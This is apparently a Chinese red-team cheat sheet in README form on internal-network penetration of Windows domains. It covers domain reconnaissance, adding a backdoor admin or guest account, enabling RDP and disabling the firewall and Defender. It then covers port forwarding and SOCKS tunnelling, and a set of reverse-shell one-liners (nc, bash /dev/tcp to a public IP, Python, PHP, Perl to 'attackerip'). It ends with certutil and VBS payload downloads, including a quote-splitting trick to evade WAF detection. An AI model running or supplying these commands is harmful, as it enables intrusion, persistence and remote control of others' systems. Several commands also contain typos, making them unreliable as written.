└── README.md
/README.md:
--------------------------------------------------------------------------------
1 | ## 1、内网基础知识
2 |
3 | ### 0X1、常用命令附录表
4 |
5 | | 命令 | 说明 |
6 | | ------------------------------------------------------------ | ------------------------------------------------------------ |
7 | | net dclist | 查看目标所在域的域控 |
8 | | net view | 查看目标所在域的域内目标 |
9 | | net user admin 123456 /add | 添加账号为admin,密码为123456的账号 |
10 | | net localgroup administrators admin /add | 将admin添加到管理员组 |
11 | | ipconfig /all | 查看本机ip,所在域 |
12 | | arp -a | 查看arp缓存 |
13 | | net start | 查看开启了哪些服务 |
14 | | net share | 查看开启了哪些共享 |
15 | | net share ipc$ | 开启ipc共享 |
16 | | net share c$ | 开启c盘共享 |
17 | | net time /domain | 查看时间服务器,判断主域,主域服务器都做时间服务器 |
18 | | net user /domain | 查看域用户 |
19 | | net use \\192.168.xx.xx\ipc$ "" /user:"" | 与192.168.xx.xx建立空连接 |
20 | | net config Workstation | 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 |
21 | | net localgroup administrators | 查看本地管理员组(通常会有域用户) |
22 | | net view /domain | 查看有几个域 |
23 | | net user 用户名 /domain | 获取指定域用户的信息 |
24 | | net group /domain | 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) |
25 | | net group 组名 /domain | 查看域中某工作组 |
26 | | net group "domain admins" /domain | 查看域管理员的名字 |
27 | | net group "domain computers" /domain | 查看域中的其他主机名 |
28 | | net group "doamin controllers" /domain | 查看域控制器(可能有多台) |
29 | | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f | 开启3389 |
30 | | netsh advfirewall set allprofiles state off net stop windefend | 关闭防火墙 |
31 | | net user guest /active:yes
net localgroup administrators guest /add
net user guest 1q2w3e4R!! | 激活guest用户并将其添加到超级管理员组,适用于在有防护情况下没有办法添加账户 |
32 | | query user | 查看当前登录用户 |
33 | | tracert IP | 路由跟踪 |
34 | | taskkill /im 12555 /f | 关闭PID为12555的进程 |
35 | | wmic process where
processid=4444 get processid,executablepath,name | 读取进程为4444的程序路径 |
36 | | wmic logicaldisk get caption,name | 查看盘符 |
37 | | wmic OS get Caption,CSDVersion,OSArchitecture,Version | 查看版本 |
38 | | wmic product get name,version | 查看软件 |
39 | | netsh firewall show config | 查看防火墙信息 |
40 |
41 | ### 1.1、工作组
42 |
43 | 将不同的计算机按功能(或者部门)分别列入不同的工作组以实现对网络的管理不至于混乱。
44 |
45 | ### 1.2、域(Domain)
46 |
47 | 域(Domain):域是一个有安全边界的计算机集合(安全边界的意思是在两个域中,一个域的用户无法访问另一个域中的资源)。
48 |
49 | #### 1.2.1、域控制器(Domain Controller,DC)
50 |
51 | 域控制器(Domain Controller,DC)是域中的一台类似管理服务器的计算机,域控制器负责所有连入计算机和用户的验证工作,域控制器是整个域的通信枢纽,所有的权限身份验证都在域控制器上进行。
52 |
53 | #### 1.2.2、单域
54 |
55 | 通常在一个地理位置固定的小公司里,建立一个域就可以满足需求。在一个域中,一般要有至少两台域服务器,一台作为DC(父域),另一台作为备份DC(辅域)。
56 |
57 | #### 1.2.3、父域和子域
58 |
59 | 出于管理及其他需求。需要在网络中划分多个域。第一个域称为父域,各分部的域称为该域的子域。
60 |
61 | #### 1.2.4、域树
62 |
63 | 域树(Tree)是多个域通过建立信任关系组成的集合。一个域管理员只能管理本域,不能访问或者管理其他域。
64 |
65 | #### 1.2.5、域森林
66 |
67 | 域森林(Forest)是指多个域树通过建立信任关系组成的集合。
68 |
69 | #### 1.2.6、域名服务器
70 |
71 | 域名服务器(Domain Name Server,DNS)是指用于实现域名和与之相对应的IP地址转换的服务器,在内网渗透中,大都是通过寻找DNS服务器来确定域控制器的位置的(DNS服务器和域控制器通常配置在同一台机器上)。
72 |
73 | ### 1.3、 活动目录
74 |
75 | 活动目录(Active Directory,AD)是域环境中提供目录服务的组件。如果将企业的内网看成是一本字典,那么内网里的资源就是字典的内容,活动目录就相当于字典的索引。即活动目录存储的是网络中所有资源的快捷方式,用户通过寻找快捷方式而定位资源。AD库存放了网络中的众多对象的信息。将AD数据库安装在一台计算机上,这时这台计算机即为DC(域控制器)。
76 |
77 | ### 1.4、DMZ
78 |
79 | DMZ称为”隔离区“,也称”非军事化区“。为了解决安装防火墙后外部网络不能访问内部网络服务器的问题,而设立的一个非安全系统与安全系统之间的缓冲区。DMZ区通常位内部网络和外部网络之间的小网络区域内,DMZ区中通常部署一些公开的服务,如企业Web、FTP服务器等。
80 |
81 | ## 2、内网环境信息收集
82 |
83 | ### 2.1、查询网络配置信息
84 |
85 | ```html
86 | ipconfig /all
87 | ```
88 |
89 | 
90 |
91 |
92 |
93 | ### 2.2、查询进程列表
94 |
95 | ```html
96 | tasklist /svc
97 | wmic process list brief
98 | ```
99 |
100 | 
101 |
102 |
103 |
104 | ### 2.3、查看启动程序信息
105 |
106 | ```html
107 | wmic startup get command,caption
108 | ```
109 |
110 | 
111 |
112 |
113 |
114 | ### 2.4、查看计划任务
115 |
116 | ```html
117 | schtasks /query /fo list /v
118 | ```
119 |
120 | 
121 |
122 |
123 |
124 | ### 2.5、查看主机开机时间
125 |
126 | ```html
127 | net statistics workstation
128 | ```
129 |
130 | 
131 |
132 | ### 2.6、查询用户列表
133 |
134 | ```html
135 | net user
136 | ```
137 |
138 | 
139 |
140 |
141 |
142 | 使用以下命令获取本地管理员(通常包含域用户)信息:
143 |
144 | ```html
145 | net localgroup administrators
146 | ```
147 |
148 | 
149 |
150 | 查看当前在线用户
151 |
152 | ```html
153 | query user || qwinsta
154 | ```
155 |
156 | 
157 |
158 | ### 2.7、查询端口
159 |
160 | ```html
161 | netstat -ano
162 | ```
163 |
164 |
165 |
166 | ### 2.8、查询补丁列表
167 |
168 | ```html
169 | systeminfo
170 | ```
171 |
172 | ### 2.9、查询本机共享列表
173 |
174 | ```html
175 | net share
176 | ```
177 |
178 | ### 2.10、查询路由表
179 |
180 | ```html
181 | route print
182 | arp -a
183 | ```
184 |
185 | ### 2.11、查询防火墙相关配置
186 |
187 | #### 2.11.1、关闭防火墙
188 |
189 | (1)、windows server 2003 及之前的版本,命令如下:
190 |
191 | ```html
192 | netsh firewall set opmode disable
193 | ```
194 |
195 | (2)、windows server 2003之后的版本,命令如下:
196 |
197 | ```html
198 | netsh advfirewall set allprofiles state off
199 | ```
200 |
201 | #### 2.11.2、查看防火墙配置
202 |
203 | ```html
204 | netsh firewall show config
205 | ```
206 |
207 | #### 2.11.3、修改防火墙配置
208 |
209 | (1)、windows server 2003及之前的版本,允许指定程序全部连接,命令如下:
210 |
211 | ```html
212 | netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
213 | ```
214 |
215 | (2)、windows server 2003之后的版本,命令如下:
216 |
217 | ```html
218 | netsh advfirewall firewall add rule name=”My Application” dir=in action=allow program=”c:\nc.exe” enable=yes
219 | ```
220 |
221 | (3)、允许3389端口放行:
222 |
223 | ```html
224 | netsh advfirewall firewall add rule name=”remote desktop” protocol=TCP dir=in localport=3389 action=allow
225 | ```
226 |
227 | ### 2.12、查询并开启远程连接服务
228 |
229 | (1)、在windows server 2003中开启3389端口
230 |
231 | ```html
232 | wmic path win32_terminalservicesetting where (_class !="") call setallowtsconnections 1
233 | ```
234 |
235 | (2)、在windows server 2008 和windows server 2012中开启 3389端口
236 |
237 | ```html
238 | 1、wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (_CLASS !="") call setallowtscoonections 1
239 |
240 | 2、wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
241 |
242 | 3、red add "HKLM\SYSTEMCURRENT\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /f 0 /f
243 | ```
244 |
245 |
246 |
247 | ### 2.13、查询当前权限
248 |
249 | #### 2.13.1、查看当前权限
250 |
251 | ```html
252 | whoami
253 | ```
254 |
255 | #### 2.13.2、获取域SID
256 |
257 | ```html
258 | whoami /all
259 | ```
260 |
261 | #### 2.13.3、查询指定用户的详细信息
262 |
263 | ```html
264 | net user XXX /domain
265 | ```
266 |
267 | ### 2.14、判断是否存在域
268 |
269 | (1)、使用ipconfig命令,获取DNS域名后,再使用反向解析查询命令nslookup来解析域名的ip地址,用解析得到的IP地址进行对比,判断域控制器和DNS服务器是否再同一台服务器上
270 |
271 | ```html
272 | ipconfig /all 【假设获取的dns服务器域名为"hacker.lad"】
273 | nsllokup hacker.lad
274 | ```
275 |
276 | (2)、查看系统详细信息,“域”即域名,“登录服务器”为域控制器,如果“域”为“workgroup”。表示当前服务器不在域内。
277 |
278 | ```html
279 | systeminfo
280 | ```
281 |
282 | (3)、查询当前登录域及登录用户信息
283 |
284 | "工作站域DNS名称"为域名(如果为“WORKGROUP”,表示当前为非域环境),“登录域”用于表示当前登录的用户是域用户还是本地用户,此处表示当前登录的用户是本地用户。
285 |
286 | ```html
287 | net config workstation
288 | ```
289 |
290 | 
291 |
292 | (4)、判断主域
293 |
294 | 域服务器通常会同时作为时间服务器使用,我们可以使用以下命令来判断主域
295 |
296 | ```html
297 | net time /domain
298 | ```
299 |
300 | 执行以上命令,通常会有以下三种情况:
301 |
302 | - 存在域,但当前用户不是域用户;
303 |
304 | - 存在域,且当前用户是域用户;
305 | - 当前网络环境为工作组,不存在域。
306 |
307 | ## 3、端口扫描
308 |
309 | ### 3.1、Nmap探测存活
310 |
311 | ```html
312 | nmap -sP --min-hostgroup 1024 --min-parallelism 1024 -iL ip.txt -oG ip_output1113.txt
313 | ```
314 |
315 | ### 3.2、Ladon探测存活
316 |
317 | ```html
318 | https://github.com/k8gege/Ladon
319 | ```
320 |
321 | ### 3.3、Windows下主机扫描存活
322 |
323 | ```html
324 | for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
325 | ```
326 |
327 | ### 3.4、Linux下扫描主机存活
328 |
329 | ```html
330 | for k in $( seq 1 255);do ping -c 1 192.168.99.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
331 | ```
332 |
333 | ## 4、收集域内基础信息
334 |
335 | 如果确定当前内网拥有域,且所控制的主机在域内,就可以进行域内相关信息的收集了,以下使用到的查询命令在本质上都是通过LDAP协议到域控制器上进行查询的,所以在查询时会进行权限认证,只有域用户才拥有此权限,本地用户无法运行以下介绍到的查询命令。
336 |
337 | ### 4.1、查询域
338 |
339 | ```html
340 | net view /domain
341 | ```
342 |
343 | ### 4.2、查询域内所有计算机
344 |
345 | ```html
346 | net view /domain:HACK (假设查询得到的主机名为HACK)
347 | ```
348 |
349 | ### 4.3、查询域内所有用户组列表
350 |
351 | ```html
352 | net group /domain
353 | ```
354 |
355 | 常见的用户身份如下:
356 |
357 | - Domain Admins: 域管理员
358 | - Domain Computers: 域内机器
359 | - Domain controllers: 域控制器
360 | - Domain Guest: 域访客,权限较低
361 | - Domain Users:域用户
362 | - Enterprise Admins: 企业系统管理员用户
363 |
364 | 默认情况下,Domain Admins和Enterprise Admins对域内所有域控制器有完全控制权限。
365 |
366 | ### 4.4、查询所有域成员计算机列表
367 |
368 | ```html
369 | net group "domain computers" /domain
370 | ```
371 |
372 | ### 4.5、获取域密码信息
373 |
374 | 执行以下命令,获取域密码策略、密码长度、错误锁定等信息
375 |
376 | ```html
377 | net accounts /domain
378 | ```
379 |
380 | ### 4.6、获取域信任信息
381 |
382 | nltest只在win2003以上有自带
383 |
384 | ```html
385 | nltest /domain_trusts
386 | nltest /domain_trusts /all_trusts /v /server:域控地址 【获取域控所信任的域】
387 | nltest /dsgetdc:HACK /server:域控地址 【获取域HACK的详细信息】
388 |
389 | ```
390 |
391 | ### 4.7、csvde的使用
392 |
393 | csvde是windows server 2008的内置命令行工具,位于%windir%/system32文件夹中。如果安装了AD DS 或Active Directory轻型目录服务(AD LDS)服务器角色,则此功能可用。
394 |
395 | 适用于: windows server 2003、windows server 2008、windows server 2003 R2、windows server 2008 R2、windows server 2012、windows8的windows server 2003
396 |
397 | ```html
398 | csvde -setspn hack -f c:\windows\tmp\hack.csv 【hack为域控】
399 | ```
400 |
401 | 参考:https://www.cnblogs.com/micr067/p/11923383.html
402 |
403 | ### 4.8、setspn的使用
404 |
405 | ```html
406 | setspn -T hack -Q */* 【hack为域控】
407 | ```
408 |
409 | SPN官方名称即"服务主体名称",本质上存的就是域内各种服务资源的对应关系,如对应的服务类型是什么,机器名是多少,服务端口是多少,借助SPN我们可以快速定位当前目标域中所有存活的各类服务器。
410 |
411 | 
412 |
413 |
414 |
415 | ### 4.9、dnsdump的使用
416 |
417 | ```html
418 | dnsdump.exe -u 域名\域用户 -p 域密码 域控机器名
419 | ```
420 |
421 | 使用该工具我们可以很快获得域控下活动的ip。
422 |
423 |
424 |
425 | ## 5、查找域控制器
426 |
427 | ### 5.1、查看域控制器的主机名
428 |
429 | ```html
430 | nslookup -type=SRV _ldap._tcp
431 | ```
432 |
433 | ### 5.2、查看域控制器的机器名
434 |
435 | ```html
436 | nltest /DCLIST:hacke
437 | ```
438 |
439 | ### 5.3、查看当前时间
440 |
441 | 在通常情况下,时间服务器为主域控制器
442 |
443 | ```html
444 | net time /domain
445 | ```
446 |
447 | ### 5.4、查看域控制组
448 |
449 | ```html
450 | net group "Domain Controllers" /domain
451 | ```
452 |
453 | 在实际网络中,一个域内一般存在两台或两台以上的域控制器,其目的是:一旦主域控制器发生故障,备用的域控制器可以保证域内的服务和验证工作正常进行。
454 |
455 | ## 6、获取域内的用户和管理员信息
456 |
457 | ### 6.1、查询所有域用户列表
458 |
459 | #### 6.1.1、向域控制器进行查询
460 |
461 | ```html
462 | net user /domain
463 | ```
464 |
465 | #### 6.1.2、获取域内用户的详细信息
466 |
467 | 执行如下命令,可以获取域内用户的详细信息,比如用户名、描述信息、SID、域名、状态等。
468 |
469 | ```html
470 | wmic useraccount get /all
471 | ```
472 |
473 | #### 6.1.3、查看存在的用户
474 |
475 | ```html
476 | dsquery user
477 | ```
478 |
479 | #### 6.1.4、查询本地管理员组用户
480 |
481 | ```html
482 | net localgroup administrators
483 | ```
484 |
485 | ### 6.2、查询域管理员用户组
486 |
487 | #### 6.2.1、查询域管理员用户
488 |
489 | ```html
490 | net group "domain admins" /domain
491 | ```
492 |
493 | #### 6.2.2、查询管理员用户组
494 |
495 | ```html
496 | net group "Enterprise Admins" /domain
497 | ```
498 |
499 | ## 7、隐藏通信隧道基本知识
500 |
501 | ### 7.1、概述
502 |
503 | 网络层:IPv6隧道、ICMP隧道、GRE隧道
504 |
505 | 传输层:TCP隧道、UDP隧道、常规端口转发
506 |
507 | 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
508 |
509 | ### 7.2、判断内网的连通性
510 |
511 | #### 7.2.1、ICMP协议
512 |
513 | 执行命令“ping ”
514 |
515 | ```html
516 | ping baidu.com
517 | ```
518 |
519 | #### 7.2.2、TCP协议
520 |
521 | 使用nc工具,执行“nc ”
522 |
523 | ```html
524 | nc -zv 192.168.1.2 80
525 | ```
526 |
527 | #### 7.2.3、HTTP协议
528 |
529 | 使用curl工具,执行“curl ”
530 |
531 | ```html
532 | curl www.baidu.com 80
533 | ```
534 |
535 | #### 7.2.4、DNS协议
536 |
537 | 在进行DNS连通性检测时,常用的命令为nslookup和dig,命令分别如下:
538 |
539 | ```html
540 | nslookup www.baidu.com vps-ip #使用nslookup工具
541 | dig @vps-ip www.baidu.com A #使用dig工具
542 | ```
543 |
544 | ### 7.3、lcx端口转发
545 |
546 | #### 7.3.1、内网端口转发
547 |
548 | 在目标机器上执行如下命令,将目标机器3389端口的所有数据转发到公网VPS的4444端口上。
549 |
550 | ```html
551 | lcx.exe -slave <公网主机ip地址> 4444 127.0.0.1 3389
552 | ```
553 |
554 | 在VPS上执行如下命令,将本机4444端口上监听的所有数据转发到本机的5555端口上。
555 |
556 | ```html
557 | lcx.exe -listen 4444 5555
558 | ```
559 |
560 | 此时,用mstsc登录“<公网主机ip地址>:5555”,或者在VPS上用mstsc登录主机127.0.0.1的5555端口,即可访问目标服务器的3389端口。
561 |
562 | #### 7.3.2、本地端口映射
563 |
564 | 如果目标服务器由于防火墙的限制,部分端口(例如3389)的数据无法通过防火墙,可以将目标服务器相应端口的数据传到防火墙允许的其他端口(例如53)。在目标主机上执行如下命令,就可以直接从远程桌面连接到目标主机的53端口。
565 |
566 | ```html
567 | lcx -tran 53 <目标主机IP地址> 3389
568 | ```
569 |
570 | ### 7.4、netcat的使用
571 |
572 | 1、端口监听
573 |
574 | ```sh
575 | nc -l -p 9999
576 | ```
577 |
578 | 2、文件传输
579 |
580 | 在本地VPS主机中输入如下命令,开始监听,一旦连接建立,数据便会流入
581 |
582 | ```sh
583 | nc -lp 333 > 1.txt
584 | ```
585 |
586 | 在目标主机中输入如下命令,与VPS的333端口建立连接,并传输一个名为test.txt的文本文件
587 |
588 | ```sh
589 | nc -vn 192.168.1.4 333 < test.txt -q 1
590 | ```
591 |
592 | 3、简易聊天
593 |
594 | 在本地VPS上输入如下命令
595 |
596 | ```sh
597 | nc -l -p 888
598 | ```
599 |
600 | 在目标主机上输入如下命令
601 |
602 | ```sh
603 | nc -vn 192.168.1.4 888
604 | ```
605 |
606 | 具体的用法可以参考https://blog.csdn.net/cunjiu9486/article/details/109074000
607 |
608 | ### 7.5、shell的用法和介绍
609 |
610 | shell分为两种,一种是正向shell,另一种是反向shell。如果客户端连接服务器,客户端想要获取服务器的shell,就称为正向shell;如果客户端连接服务器,服务器想要获取客户端得到shell,就称为反向shell。反向shell通常用在开启了防护措施的目标机器上,例如防火墙过滤、端口转发等。
611 |
612 | #### 7.5.1、nc反弹shell
613 |
614 | (1)、正向shell
615 |
616 | 输入以下命令,监听目标主机的4444端口:
617 |
618 | ```sh
619 | nc -lvp 4444
620 | ```
621 |
622 | 输入如下命令,在本地或者vps主机上连接目标主机的4444端口
623 |
624 | ```sh
625 | nc 192.168.1.11 4444 -e /bin/sh #Linux
626 | nc 192.168.1.11 4444 -e C:\Windows\System32\cmd.exe #Windows
627 | ```
628 |
629 | (2)、反向shell
630 |
631 | 输入如下命令,在本地或者VPS主机上监听本地9999端口
632 |
633 | ```sh
634 | nc -lvp 9999
635 | ```
636 |
637 | 在目标主机中输入如下命令,连接VPS主机的9999端口
638 |
639 | ```sh
640 | nc 139.9.33.11 9999 -e /bin/sh #Linux
641 | nc 139.9.33.11 9999 -e C:\Windows\System32\cmd.exe #Windows
642 | ```
643 |
644 |
645 |
646 | #### 7.5.2、反弹shell总结
647 |
648 | ##### 1、python反向shell
649 |
650 | 执行如下命令,在VPS上监听本地2222端口
651 |
652 | ```html
653 | nc -lvp 2222
654 | ```
655 |
656 | 在目标主机上执行命令
657 |
658 | ```html
659 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
660 | ```
661 |
662 | ##### 2、Bash反向shell
663 |
664 | 执行如下命令,在VPS上监听本地4444端口
665 |
666 | ```bash
667 | nc -lvp 4444
668 | ```
669 |
670 | 在目标主机上执行如下命令
671 |
672 | ```bash
673 | bash -i >& /dev/tcp/139.9.168.107/4444 0>&1
674 | ```
675 |
676 |
677 |
678 | ##### 3、PHP反向shell
679 |
680 | 执行如下命令,在VPS上监听本地4444端口
681 |
682 | ```bash
683 | nc -lvp 4444
684 | ```
685 |
686 | 执行如下命令实现PHP环境下的反弹shell
687 |
688 | ```php
689 | php -r '$sock=fsockopen("VPS的地址",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
690 | ```
691 |
692 |
693 |
694 | ##### 4、Perl反向shell
695 |
696 | 执行如下命令,在VPS上监听本地4444端口
697 |
698 | ```bash
699 | nc -lvp 4444
700 | ```
701 |
702 | 如果此时目标主机使用的是Perl,仍然可以使用Perl来建立反向shell,在目标主机上执行如下命令
703 |
704 | ```perl
705 | perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
706 | ```
707 |
708 | 不依赖/bin/bash
709 |
710 | ```perl
711 | perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
712 | ```
713 |
714 | 在window上运行
715 |
716 | ```perl
717 | perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
718 | ```
719 |
720 | ### 7.6、应用层隧道技术
721 |
722 | #### 7.6.1、SSH协议
723 |
724 | 创建SSH隧道的常用参数说明如下
725 |
726 | - -C:压缩传输,提高传输速度。
727 | - -f:将SSH传输转入后台执行,不占用当前的shell。
728 | - -N:建立静默连接(建立了连接,但是看不到具体会话)。
729 | - -g:允许远程主机连接本地用于转发的端口。
730 | - -L:本地端口转发。
731 | - -R:远程端口转发。
732 | - -D:动态转发(SOCKS代理)。
733 | - -P:执行SSH端口。
734 |
735 | ##### 1、本地转发
736 |
737 | 环境说明:攻击者VPS【192.168.1.4】,攻击者VPS可以访问内网Web服务器【192.168.1.11、1.1.1.16】,但不能访问数据库服务器,内网Web服务器和数据库服务器【1.1.1.10】可以互相访问。测试目标为:以Web服务器为跳板。访问数据库服务器的3389端口。
738 |
739 | 以Web服务器192.168.1.11为跳板,将内网数据库服务器1.1.1.10的3389端口映射到VPS机器192.168.1.4的1153端口,再访问VPS的1153端口,就可以访问1.1.1.10的3389端口了。
740 |
741 | ```bash
742 | ssh -CFNg -L 1153(vps端口):1.1.1.10(目标主机):3389(目标端口) root@192.168.1.11(跳板机)
743 | ```
744 |
745 | 再连接本地1153端口即可访问数据库服务器的3389端口了
746 |
747 | ```bash
748 | rdesktop 127.0.0.1:1153
749 | ```
750 |
751 |
752 |
753 | ##### 2、远程转发
754 |
755 | 环境说明:攻击者VPS【192.168.1.4】,攻击者VPS不能访问内网中的三台服务器;内网Web服务器【1.1.1.200】可以访问外网VPS,数据库服务器(1.1.1.10)和域控制器(1.1.1.2)均不能访问外网VPS,测试目标为:通过外网VPS访问数据库服务器的3389端口。
756 |
757 | 以Web服务器为跳板,将VPS的3307端口的流量转发到1.1.1.10的3389端口,然后访问VPS的3307端口,就可以访问1.1.1.10的3389端口了。
758 |
759 | 在Web服务器1.1.1.200上执行如下命令:
760 |
761 | ```bash
762 | ssh -CfNg -R 3307(vps端口):1.1.1.10(目标主机):3389(目标端口) root@192.168.1.4
763 | ```
764 |
765 | 在本地访问VPS的3307端口,可以发现已经和数据库服务器1.1.1.10的3389端口建立了连接:
766 |
767 | ```bash
768 | rdesktop 127.0.0.1:3307
769 | ```
770 |
771 |
772 |
773 | ##### 3、动态转发
774 |
775 | 在VPS上执行如下命令,建立一个动态的SOCKS 4/5代理通道,输入Web服务器【192.168.1.11】的密码:
776 |
777 | ```bash
778 | ssh -Cfng -D 7000 root@@1922.168.1.11
779 | ```
780 |
781 | 然后在本地打开浏览器,设置网络代理【127.0.0.1:7000】,通过浏览器访问内网域控制器1.1.1.2,动态端口映射就是建立一个SSH加密的SOCKS 4/5代理通道。任何支持SOCKS 4/5协议的程序都可以使用这个加密通道进行代理访问。
782 |
783 |
784 |
785 | #### 7.6.2、HTTP/HTTPS协议
786 |
787 | HTTP Service代理用于将所有的流量转发到内网,常见的代理工具如下:
788 |
789 | ```html
790 | https://github.com/sensepost/reGeorg
791 | https://github.com/L-codes/Neo-reGeorg
792 | ```
793 |
794 |
795 |
796 | #### 7.6.3、DNS协议
797 |
798 | 在网络世界中,DNS是一个必不可少的服务;另一个方面,DNS报文本身具有穿透防火墙的能力。由于防火墙和入侵检测设备大都不会过滤DNS流量,也为DNS成为隐蔽信道创造了条件。而在网络安全攻防演练中,DNS隧道的应用场景如下:在安全策略严格的内网环境中,常见的C&C通信端口会被众多安全设备所监控,Red Team对目标内网的终端进行渗透测试,发现该网段只允许白名单流量出站,同时其他端口都被屏蔽,传统的C&c通信无法建立,在这样的情况下,Red Team可以使用DNS隐蔽隧道建立通信。
799 |
800 | 常见的DNS隐蔽隧道建立工具有dnscat2【https://github.com/iagox86/dnscat2】和iodine【https://github.com/yarrick/iodine】。
801 |
802 | 参考资料
803 |
804 | ```html
805 | https://xz.aliyun.com/t/2214
806 | https://blog.csdn.net/localhost01/article/details/86591685
807 | https://blog.csdn.net/tan6600/article/details/52142254
808 | http://www.91ri.org/16386.html
809 | ```
810 |
811 |
812 |
813 | ### 7.7、socks代理
814 |
815 | #### 7.7.1、EarthWorm的应用
816 |
817 | ##### 1、正向SOCK5服务器
818 |
819 | 以下命令适用于目标机器拥有一个外网IP地址的情况:
820 |
821 | ```bash
822 | ew -s ssocksd -l 888
823 | ```
824 |
825 | 执行以上命令,即可架设一个端口为888的SOCKS代理。接下来使用Proxifier或者SockCap64添加这个IP地址的代理即可。
826 |
827 |
828 |
829 | ##### 2、反弹SOCK5服务器
830 |
831 | 目标机器没有公网IP且需要访问内网资源的情况下可以使用该命令,首先,在你的VPS中执行以下命令:
832 |
833 | ```bash
834 | ew -s rcsocks -l 1008 -e 888
835 | ```
836 |
837 | 该命令的意思是在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给888端口。
838 |
839 | 然后在目标机器上执行如下命令:
840 |
841 | ```bash
842 | ./ew -s rssocks -d 8.142.189.101 -e 80
843 | ```
844 |
845 | 现在访问公网VPS的1008端口就能访问内网资源了
846 |
847 | ##### 3、二级网络资源(a)
848 |
849 | 场景假设:假设已经获取A主机和B主机【10.48.128.49】的控制权限。A主机配有两块网卡,一块能够连接外网,另一块(10.48.128.25)只能连接内网的B主机,但无法访问内网中的其他资源。B主机可以访问内网资源,但无法访问外网。
850 |
851 | 首先,将EW上传到B主机中,利用ssocksd方式启动888端口的SOCKS代理,命令如下:
852 |
853 | ```bash
854 | ew -s ssocksd -l 888
855 | ```
856 |
857 | 然后,将EW上传到A主机中,执行如下命令:
858 |
859 | ```bash
860 | ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888
861 | ```
862 |
863 | 该命令的意思是将1080端口收到的代理请求转发给B主机【10.48.128.49】的888端口,现在就能通过访问A主机的外网1080端口使用在B主机上架设的SOCKS5代理了。
864 |
865 | ##### 4、二级网络环境(b)
866 |
867 | 场景假设:假设已经获取A主机和B主机【10.48.128.49】的控制权限,A主机既没有公网IP地址,也无法访问内网资源。B主机可以访问内网资源,但无法访问外网。
868 |
869 | 首先,将EW上传到公网VPS中,执行如下命令:
870 |
871 | ```bash
872 | ew -s lcx_listen -l 10800 -e 888
873 | ```
874 |
875 | 该命令的意思是在公网VPS中添加转接隧道,将10800端口收到的代理请求转发到888端口。接着将EW上传到B主机【10.48.128.49】中,并利用ssocksd方式启动999端口的SOCKS代理了,命令如下:
876 |
877 | ```bash
878 | ew -s ssocksd -l 999
879 | ```
880 |
881 | 然后将EW上传到A主机中,执行如下命令:
882 |
883 | ```bash
884 | ew -s lcx_slave -d [VPS的地址] -e 888 -f 10.48.128.49 -g 999
885 | ```
886 |
887 | 最后通过访问公网VPS的10800端口使用在B主机上架设的SOCKS5代理了。
888 |
889 | #### 7.1.2、IOX的应用
890 |
891 | **转发**
892 |
893 | 监听0.0.0.0:8888和0.0.0.0:9999,将两个连接间的流量转发
894 |
895 | ```html
896 | ./iox fwd -l 8888 -l 9999
897 | ```
898 |
899 | 监听0.0.0.0:8888,把流量转发到1.1.1.1:9999
900 |
901 | ```
902 | ./iox fwd -l 8888 -r 1.1.1.1:9999
903 | ```
904 |
905 | 连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发
906 |
907 | ```
908 | ./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999
909 | ```
910 |
911 | **代理**
912 |
913 | 在1.1.1.1上执行
914 |
915 | ```html
916 | iox.exe proxy -l 9999 -l 1080
917 | ```
918 |
919 | 在目标机上执行
920 |
921 | ```html
922 | iox.exe proxy -r 1.1.1.1:9999
923 | ```
924 |
925 | 出现以上提示即为转发成功
926 |
927 | 
928 |
929 | #### 7.1.3、msf的应用
930 |
931 | 前期通过msf获取shell权限后,使用以下命令代建内网代理
932 |
933 | ```html
934 | use auxiliary/server/socks_proxy
935 | set srvhost 1.1.1.1
936 | set srvport 1080
937 | run
938 | ```
939 |
940 | 然后打开/etc/proxychains.conf,在文件中加上
941 |
942 | ```html
943 | socks5 1.1.1.1 1080
944 | ```
945 |
946 | ### 7.8、上传和下载
947 |
948 | #### 7.8.1、Windows
949 |
950 | ##### 1、通过certutil.exe下载文件
951 |
952 | ```bash
953 | certutil.exe -urlcache -split -f http://127.0.0.1/2.exe
954 | ```
955 |
956 | 可通过以下变形绕过waf:
957 |
958 | ```html
959 | "c""e""r""t""u""t""i""l" -"u""r""l""c""a""c""h""e" -split -f https://url/1.exe 1.exe
960 | ```
961 |
962 | ##### 2、通过vbs下载文件
963 |
964 | 往往在实战中,没有上传的方便条件,尤其是目标机是windows,只有echo方式来写入vbs。将以下代码保存为downfile.vbs
965 |
966 | ```vps
967 | set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open "get",wsh.arguments( 0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2
968 | ```
969 |
970 | 命令行下执行,即可远程下载rebots.txt文件并保存为b.txt。
971 |
972 | ```bash
973 | cscript downfile.vbs http://192.168.1.115/robots.txt C:\Inetpub\b.txt
974 | ```
975 |
